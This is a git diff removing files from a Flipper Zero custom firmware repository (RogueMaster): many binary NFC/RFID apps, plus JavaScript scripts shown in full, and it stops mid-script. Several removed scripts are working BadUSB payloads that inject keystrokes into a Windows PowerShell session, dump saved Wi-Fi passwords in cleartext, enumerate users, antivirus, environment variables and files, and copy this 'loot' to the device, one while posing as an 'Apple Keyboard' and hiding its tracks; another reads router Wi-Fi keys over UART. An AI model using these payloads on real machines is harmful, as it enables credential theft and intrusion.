RM)/RogueMaster/Media/wav_player.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap deleted file mode 100644 index 3dedcc10b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap deleted file mode 100644 index 177ac2296..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap deleted file mode 100644 index bfff9eaa1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap deleted file mode 100644 index 9169f6249..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap deleted file mode 100644 index af8441a43..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap deleted file mode 100644 index 0f57fc047..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap deleted file mode 100644 index 49d780d8e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap deleted file mode 100644 index 2898beebf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_apdu_runner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap deleted file mode 100644 index ff46d61d8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap deleted file mode 100644 index 21a575ab8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap deleted file mode 100644 index fa1deaccd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap deleted file mode 100644 index 339d298b6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_keyboard.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap deleted file mode 100644 index b72394b15..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_magic.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap deleted file mode 100644 index 08435f216..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_maker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap deleted file mode 100644 index 9af4608c6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_playlist.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap deleted file mode 100644 index 32580aa9f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_relay.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap deleted file mode 100644 index 68a112fa4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfcurl.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap deleted file mode 100644 index 186db4193..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/picopass.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap deleted file mode 100644 index 00307251f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/seader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap deleted file mode 100644 index 2ea51cf9c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/t_union_master.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap deleted file mode 100644 index 987dbbea7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/tullave.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap deleted file mode 100644 index c8de30957..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/NFC/vb_migrate.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap deleted file mode 100644 index 282cdfef9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap deleted file mode 100644 index f769a3d75..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/dcf77_clock_sync.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap deleted file mode 100644 index 48f76149a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/em4100_key_generator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap deleted file mode 100644 index 67f8d97fe..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap deleted file mode 100644 index 9f6e1b2c0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap deleted file mode 100644 index 9bb7d8b37..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_beacon.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap deleted file mode 100644 index f66b05315..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap deleted file mode 100644 index 648b1ae05..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap deleted file mode 100644 index 0814ebf6f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js deleted file mode 100644 index 59b4f92a8..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js +++ /dev/null @@ -1,85 +0,0 @@ -// Original: [JS Script: BadUSB_Win_Exfil-GSHD.js (By Gas Station Hot Dog)](https://github.com/User84User/User84PublicUser/blob/main/Windows_Exfil-GSHD.js) -// Updated BadUSB Win Exfil JS Script (By Gas Station Hot Dog & b0r0xZ & mistura.) (Comments added along with more commands) -//MassStorage Name -let image = "/ext/apps_assets/mass_storage/test.img"; -//MassStorage Size -let size = 8 * 1024 * 1024; -//Le Script -let script = [ - "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date - "$Time = Get-Date -Format hh-mm-ss;",//Get Time - "Get-CimInstance -ClassName Win32_ComputerSystem >> stats.txt;", //Listing computer manufacturer and model - "Get-LocalUser >> stats.txt;", //List users on the system - "Get-LocalUser | Where-Object -Property PasswordRequired -Match false >> stats.txt;", //Which users has password required set to false - "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> stats.txt;", // List which AntiVirus Product is being used - "Get-CimInstance -ClassName Win32_QuickFixEngineering >> stats.txt;", // Listing installed hotfixes - "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;",//Get network profiles with passwords - "dir env: >> stats.txt;", //Check ENV - "Get-Computerinfo >> stats.txt;", //ComputerInfo - "Get-Service >> stats.txt;", // Get runing services - "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost - "Get-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports - "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. - "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames -]; - -//Script crawler -let command = ""; -for (let i = 0; i < script.length; i++) { - command += script[i]; -} - -//Requirements -let badusb = require("badusb"); -let usbdisk = require("usbdisk"); -let storage = require("storage"); - -//Check if MassStorage image Exists... -print("Checking for Image..."); -if (storage.exists(image)) { - print ("Storage Exists."); -} -//Create MassStorage in case it doesnt exists -else { - print ("Creating Storage..."); - usbdisk.createImage(image, size); -} - -//VID&PID as HID -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); -print("Waiting for connection"); - -//Keep Connected -while (!badusb.isConnected()) { - delay(1000); -} - -//Program Start!! -badusb.press("GUI", "x");//Open admin tools menu -delay(300); -badusb.press("i");//Select PowerShell -delay(3000); -//Uncomment this to work with "Run", also comment the 1st part that works with the admin tools menu -/* -badusb.press("GUI", "r");//Open Run -delay(300); -badusb.println("powershell"); -badusb.press("ENTER"); -*/ -print("Running payload"); -badusb.println(command, 10);//Run Script Crawler -badusb.press("ENTER"); -badusb.println("echo 'Please wait until this Window closes to eject the disk!'; Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path stats.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; exit")//Find Disk Partition to save -badusb.press("ENTER"); -badusb.quit(); -delay(2000); -usbdisk.start(image);//Open MassStorage Folder -print("Please wait until powershell window closes to eject..."); - -//Ejected check -while (!usbdisk.wasEjected()) { - delay(1000); -} -//Stop Script -usbdisk.stop(); -print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js deleted file mode 100644 index eafc96aa5..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js +++ /dev/null @@ -1,21 +0,0 @@ -let badusb = require("badusb"); -let notify = require("notification"); -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); - -print("Waiting for connection"); -while (!badusb.isConnected()) { - delay(1000); -} - -function OpenSiteWin() -{ - badusb.press("GUI", "r"); - delay(100); - badusb.println("https://rogue-master.net", 1); - delay(100); -} -if (badusb.isConnected()) -{ - OpenSiteWin(); - print("Executed"); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js deleted file mode 100644 index 0506d348c..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js +++ /dev/null @@ -1,42 +0,0 @@ -// This is an example of how to use the analog pins (ADC) on the Flipper Zero. -// The example uses a reference voltage of 2048mV (2.048V), but you can also use 2500mV (2.5V). -// The example reads the values of the analog pins A7, A6, and A4 and prints them to the console. -// The example also checks if the value of A7 is twice the value of A6 and breaks the loop if it is. -// The example uses the analog pins A7, A6, and A4, but you can also use PC3, PC1, and PC0. - -let gpio = require("gpio"); - -// initialize pins A7, A6, A4 as analog (you can also use PC3, PC1, PC0) -gpio.init("PA7", "analog", "no"); // pin, mode, pull -gpio.init("PA6", "analog", "no"); // pin, mode, pull -gpio.init("PA4", "analog", "no"); // pin, mode, pull - -gpio.startAnalog(2048); // vRef = 2.048V (you can also use 2500 for a 2.5V reference voltage) - -while (true) { - let pa7_value = gpio.readAnalog("PA7"); - let pa6_value = gpio.readAnalog("PA6"); - let pa4_value = gpio.readAnalog("PA4"); - print("A7: " + to_string(pa7_value) + " A6: " + to_string(pa6_value) + " A4: " + to_string(pa4_value)); - delay(100); - if (pa7_value === pa6_value * 2) { - break; - } -} -print("A7 is twice A6!"); - -gpio.stopAnalog(); - -// possible analog pins https://docs.flipper.net/gpio-and-modules#miFsS -// "PA7" aka 2 -// "PA6" aka 3 -// "PA4" aka 4 -// "PC3" aka 7 -// "PC1" aka 15 -// "PC0" aka 16 - -// possible modes -// "analog" - -// possible pull -// "no" diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js deleted file mode 100644 index ddb572ee7..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js +++ /dev/null @@ -1,8 +0,0 @@ -let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); -print("len =", arr_1.buffer.byteLength); - -let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6)); -print("slice len =", arr_2.buffer.byteLength); -for (let i = 0; i < arr_2.buffer.byteLength; i++) { - print(arr_2[i]); -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js deleted file mode 100644 index 9396a3464..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js +++ /dev/null @@ -1,20 +0,0 @@ -let serial = require("serial"); -serial.setup("lpuart", 115200); - -// serial.write("\n"); -serial.write([0x0a]); -let console_resp = serial.expect("# ", 1000); -if (console_resp === undefined) { - print("No CLI response"); -} else { - serial.write("uci\n"); - let uci_state = serial.expect([": not found", "Usage: "]); - if (uci_state === 1) { - serial.expect("# "); - serial.write("uci show wireless\n"); - serial.expect(".key="); - print("key:", serial.readln()); - } else { - print("uci cmd not found"); - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js deleted file mode 100644 index be94a64d2..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js +++ /dev/null @@ -1,48 +0,0 @@ -let badusb = require("badusb"); -let notify = require("notification"); -let flipper = require("flipper"); -let dialog = require("dialog"); - -badusb.setup({ - vid: 0xAAAA, - pid: 0xBBBB, - mfr_name: "Flipper", - prod_name: "Zero", - layout_path: "/ext/badusb/assets/layouts/en-US.kl" -}); -dialog.message("BadUSB demo", "Press OK to start"); - -if (badusb.isConnected()) { - notify.blink("green", "short"); - print("USB is connected"); - - badusb.println("Hello, world!"); - - badusb.press("CTRL", "a"); - badusb.press("CTRL", "c"); - badusb.press("DOWN"); - delay(1000); - badusb.press("CTRL", "v"); - delay(1000); - badusb.press("CTRL", "v"); - - badusb.println("1234", 200); - - badusb.println("Flipper Model: " + flipper.getModel()); - badusb.println("Flipper Name: " + flipper.getName()); - badusb.println("Battery level: " + to_string(flipper.getBatteryCharge()) + "%"); - - // Alt+Numpad method works only on Windows!!! - badusb.altPrintln("This was printed with Alt+Numpad method!"); - - // There's also badusb.print() and badusb.altPrint() - // which don't add the return at the end - - notify.success(); -} else { - print("USB not connected"); - notify.error(); -} - -// Optional, but allows to interchange with usbdisk -badusb.quit(); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md deleted file mode 100644 index 6bd494357..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.README.md +++ /dev/null @@ -1,89 +0,0 @@ -# BadUSB - -[![FlipperZero: BadUSB JavaScript](https://img.youtube.com/vi/DAUQGeG4pc4/0.jpg)](https://youtu.be/DAUQGeG4pc4) - -This script was created for the [YouTube video](https://youtu.be/DAUQGeG4pc4) to demonstrate various concepts in JavaScript running on the Flipper Zero, using a real world scenario. - -## Overview summary -This script uses features that were introduced in the dev branch of Momentum firmware on April 5, 2024. You need to be sure your firmware is updated or else you will get errors running the script. - -This script will copy an MP3 file from the Flipper to the computer, play it on the computer, run commands to get information from the computer (like wifi credentials), copy the output back to the Flipper Zero, and display it and append it on a local file on the Flipper. It will also automate switching between keyboard, disk, ejecting devices. - -Many of these ideas are from the Momentum Discord server's script-sharing channel. I encourage you to check out the various scripts being shared there. - -## Detailed summary -This script will: - -- Use `storage` APIs to see if a virtual USB disk image exists. If it does, it will delete it. It then creates a new virtual USB disk image using the `usbdisk` APIs. It will then use `storage` APIs to mount the virtual USB disk image and then it will use the `copy` function to copy a file from the SD card onto the virtual USB disk. It will then unmount the virtual USB disk image. -- Next it will use `badusb` APIs to emulate a keyboard with the specified language layout. -- It will then display a `Waiting for connection` message on the screen to indicate that the Flipper Zero is ready to be connected to a computer. It uses `badusb` APIs to wait for a connection. -- It will launch PowerShell on the connected computer (`Windows+x` then `i`). -- It creates a temporary directory on the computer and then switches to that directory. -- It then types all of the commands in the script array (e.g. get ips, get wifi creds, etc.) into the PowerShell window. These commands should save output into the `localFileName`. -- It then types commands to scan for the virtual USB disk to be attached and then set the $DriveLetter variable to the drive letter of the virtual USB disk. -- If copyPayload is true, it will type commands to copy the payload file from the virtual USB disk to the temporary directory on the computer. -- If playPayload is true, it will type commands to play the payload file on the computer. -- If at least one script command is specified, it will type commands to copy the output file from the temporary directory on the computer to the virtual USB disk. -- It will then type commands to eject the drive (signaling that the script is done). -- It will then type commands to hide it's tracks (somewhat) and close the PowerShell window. -- At this point the `badusb` APIs will disconnect the Flipper Zero from the computer. -- The `usbdisk` APIs will then attach the virtual USB disk image. -- At this point the above scripts will detect the virtual USB disk image, and run the above commands, which will eventually finish by ejecting the virtual USB disk image. -- The `usbdisk` APIs will detect the detach the virtual USB disk image. -- The `usbdisk` APIs will then stop the virtual USB disk image. -- If at least one script command is specified, it will then use the `storage` APIs to mount the virtual USB disk image. It will read the output file from the virtual USB disk image and display it on the screen using the `textbox` APIs. It will also append the output file to the `loot.txt` file on the SD card. -- Once the back button is pressed, the storage APIs will unmount the image. - -## Config -Edit the [badusbdemo.js](./badusbdemo.js) file to customize the script. The following are the settings that should be changed: - -- Make sure `layout` is set to the correct keyboard layout for the computer (like `en-US`, `en-UK`, etc). See your [/ext/badusb/assets/layouts](https://github.com/Next-Flip/Momentum-Firmware/tree/dev/applications/main/bad_kb/resources/badusb/assets/layouts) for the list of supported latouts. -- `localTempFolder` is the temporary folder that will created on the computer. You do not need to change this. -- `localFileName` is the name of the output file that will be used by scripts. You do not need to change this. -- `script` array is the list of scripts to run. - - If it is empty, then the MP3 will be copied and played, but no scripts will be run. - - If it has at least one element, then the MP3 will be copied and played, and the scripts will be run. - - Your commands should save output into the `localFileName`. - - If you use a quote mark in your command, you should escape it with a backslash (e.g. `\"`). - - Commands should end with a comma. -- `copyPayload` is `true` to copy the payload file from the Flipper to the computer (otherwise `false`). -- `playPayload` is `true` to play the payload file on the computer (otherwise `false`). -- `payloadName` is the name of the payload file to copy and play. -- `payloadSrcName` is the path to the file. You do not need to change this. It it expected that the script will also contains a `payloads` folder with this file. -- `payloadDstName` is the name of the file on virtual USB disk. You do not need to change this. -- `lootFile` is the name of the file on the SD card to append the output file to. You do not need to change this. This will be saved in the same folder as the script. -- `exfilCapacityMb` is the size of the virtual USB disk image in MB. You do not need to change this unless your payload is >4MB. -- `image` is the name of the virtual USB disk image. You do not need to change this. -- `flipperStorageName` is the name of the virtual USB disk image when it is attached to the Flipper Zero. You should not change this (the driver currently hard-codes this name). -- `resultFolder` is the name of the folder on the virtual USB disk image where the output file will be saved. You do not need to change this. -- `resultFileName` is the name of the output file on the virtual USB disk image. You do not need to change this. - -## Setup - -- Copy the [badusbdemo.js](./badusbdemo.js) file to the Flipper Zero. It should be stored in `SD Card/apps/Scripts/badusbdemo.js`. -- Create a `payloads` folder in the same folder as the script (`SD Card/apps/Scripts/payload`). -- Create a `demo.mp3` file in the `payloads` folder. This file will be copied to the computer and played. This file should be less than 4MB (your `exfilCapacityMb`). - -## Running - -- Make sure you have the latest dev firmware installed on your Flipper. -- On the Flipper click the OK button, then choose `Apps`, then choose `Scripts`, then choose `badusbdemo.js`. -- Connect the Flipper Zero to the computer when prompted with `Waiting for connection`. -- The script will run and eventually disconnect the Flipper Zero from the computer. -- The script will finish and the output will be displayed on the screen and appended to the `loot.txt` file on the SD card in the (`SD Card/apps/Scripts/loot.txt`). - -## Troubleshooting -- If you get... `"textbox" module load fail at :23` -- Your firmware is too old. You need to update to the latest dev branch of the firmware. -- If you get... `"file/dir not exist at :71"` -- You need to put demo.mp3 (all lowercase) in `SD Card/apps/Scripts/payloads/demo.mp3`. The MP3 file I saved in payloads/demo.mp3 for the video was https://www.soundboard.com/track/download/156453 -- If you get... `"out of memory"` -- Reboot the Flipper (BACK+LEFT buttons) before running the script to free up memory. -- If you get a different error, **please let me know** (ideally take a picture of the error with your phone) so I can investigate it. Even if you figure it out, it would be great to add to this troubleshooting section. - -## Support - -If you have any questions, please ask in my [Flipper Zero Discord](https://discord.com/invite/NsjCvqwPAd) server. There are also giveaways and other fun things happening there. - -Support my work: -- Option 1. [Like, Subscribe and click the Bell (to get notified)](https://youtu.be/DAUQGeG4pc4) -- Option 2. [https://ko-fi.com/codeallnight](https://ko-fi.com/codeallnight) (donate $3 via PayPal or Venmo) -- Option 3. Click the "Thanks" button on [YouTube](https://youtu.be/DAUQGeG4pc4). -- Option 4. Purchase a [FlipBoard](https://github.com/MakeItHackin/FlipBoard) (I get a portion of the sale). diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js deleted file mode 100644 index d89d23825..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusbdemo_jamisonderek.js +++ /dev/null @@ -1,200 +0,0 @@ -// JavaScript demo of running Windows powershell scripts. This -// demo is based on lots of the previous scripts that were shared -// in the Momentum Discord channel. - -// The payloads in this script were demonstrated in -// Talking Sasquach's video https://youtu.be/8USI98_5GeU?t=447 -// -// The improvements are: -// - Populating the USB drive with payloads. -// - PowerShell polling for the USB drive to be attached. -// - Badusb using keyboard layouts (handling non-US keyboards). -// - Copying a file from USB to local drive. -// - Playing an MP3 file. -// - PowerShell ejecting the USB drive when done. -// - Displaying the results on the Flipper screen. - -// For documentation on configuration see: -// https://github.com/jamisonderek/flipper-zero-tutorials/blob/main/js/badusb/README.md - -let badusb = require("badusb"); -let usbdisk = require("usbdisk"); -let storage = require("storage"); -let textbox = require("textbox"); - -// ************ -// IMPORTANT: Be sure this matches your computer keyboard layout!!! -// See /ext/badusb/assets/layouts/ for list of supported keyboard layouts. -let layout = "en-US"; - -// Local file to store system information. -let localTempFolder = "flipper"; -let localFileName = "info.txt"; - -// Update this script to include the commands you want to run. -let script = [ - "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\\d+.\\d+)' >> " + localFileName + ";", - "(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> " + localFileName + ";", - // "dir env: >> " + localFileName + ";", -]; - -// Payload to copy from the SD card to the USB drive. -let copyPayload = true; -let playPayload = true; -let payloadName = "demo.mp3"; -let payloadSrcName = __dirpath + "/payloads/" + payloadName; -let payloadDstName = "/mnt/" + payloadName; - -// All the loot will be stored in this file. -let lootFile = __dirpath + "/loot.txt"; - -// Image to store payloads and results. -let exfilCapacityMb = 4; // Reserve space for our image (payloads and results). -let image = __dirpath + "/Demo_" + to_string(exfilCapacityMb) + "MB.img"; -let flipperStorageName = "Flipper Mass Storage"; - -// Folder and file to store the results on SD card. -let resultFolder = "results"; -let resultFileName = "info.txt"; - -print("Checking for Image..."); -if (storage.exists(image)) { - storage.remove(image); -} -print("Creating Storage..."); -usbdisk.createImage(image, exfilCapacityMb * 1024 * 1024); - -if (copyPayload) { - print("Copying Payload...") - storage.virtualInit(image); - storage.virtualMount(); - storage.copy(payloadSrcName, payloadDstName); - storage.virtualQuit(); -} - -badusb.setup({ - vid: 0x1234, - pid: 0x5678, - mfr_name: "Apple", - prod_name: "Keyboard", - layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" -}); -print("Waiting for connection"); -while (!badusb.isConnected()) { - delay(1000); -} - -// Launch powershell -print("Launching powershell"); -delay(3000); -badusb.press("GUI", "x"); -delay(500); -badusb.press("i"); -delay(3000); - -print("Running commands"); -badusb.print(" md " + localTempFolder + "; cd " + localTempFolder + "; "); -for (let i = 0; i < script.length; i++) { - badusb.print(script[i]); -} -badusb.press("ENTER"); -badusb.press("ENTER"); - -// Wait for attached drive, assign to $DriveLetter -badusb.print(" $FlipperStorage = '" + flipperStorageName + "';"); -badusb.print(" do {"); -badusb.print(" Start-Sleep 1;"); -badusb.print(" $Disks = Get-Disk;"); -badusb.print(" $DiskNames = $Disks | Select-Object -Property Number,FriendlyName;"); -badusb.print(" $DiskNumber = $DiskNames | Where-Object -FilterScript { ($_.FriendlyName) -eq $FlipperStorage} | Select-Object -ExpandProperty Number;"); -badusb.print(" } while ($DiskNumber -lt 0);") -badusb.print(" $DriveLetter = Get-Partition -DiskNumber ${DiskNumber} | Select-Object -ExpandProperty DriveLetter;"); - -// Copy file from USB drive locally. -if (copyPayload) { - badusb.print(" $Payload = ${DriveLetter} + ':\\" + payloadName + "';"); - badusb.print(" Copy-Item -Path $Payload;"); -} - -// Play the MP3 payload file. -if (playPayload) { - badusb.print("Add-Type -AssemblyName presentationCore;"); - badusb.print(" $mediaPlayer = New-Object system.windows.media.mediaplayer;"); - badusb.print(" $song = Get-Location | Select-Object -ExpandProperty Path;"); - badusb.print(" $song = $song+'\\" + payloadName + "';") - badusb.print(" $mediaPlayer.open($song);"); 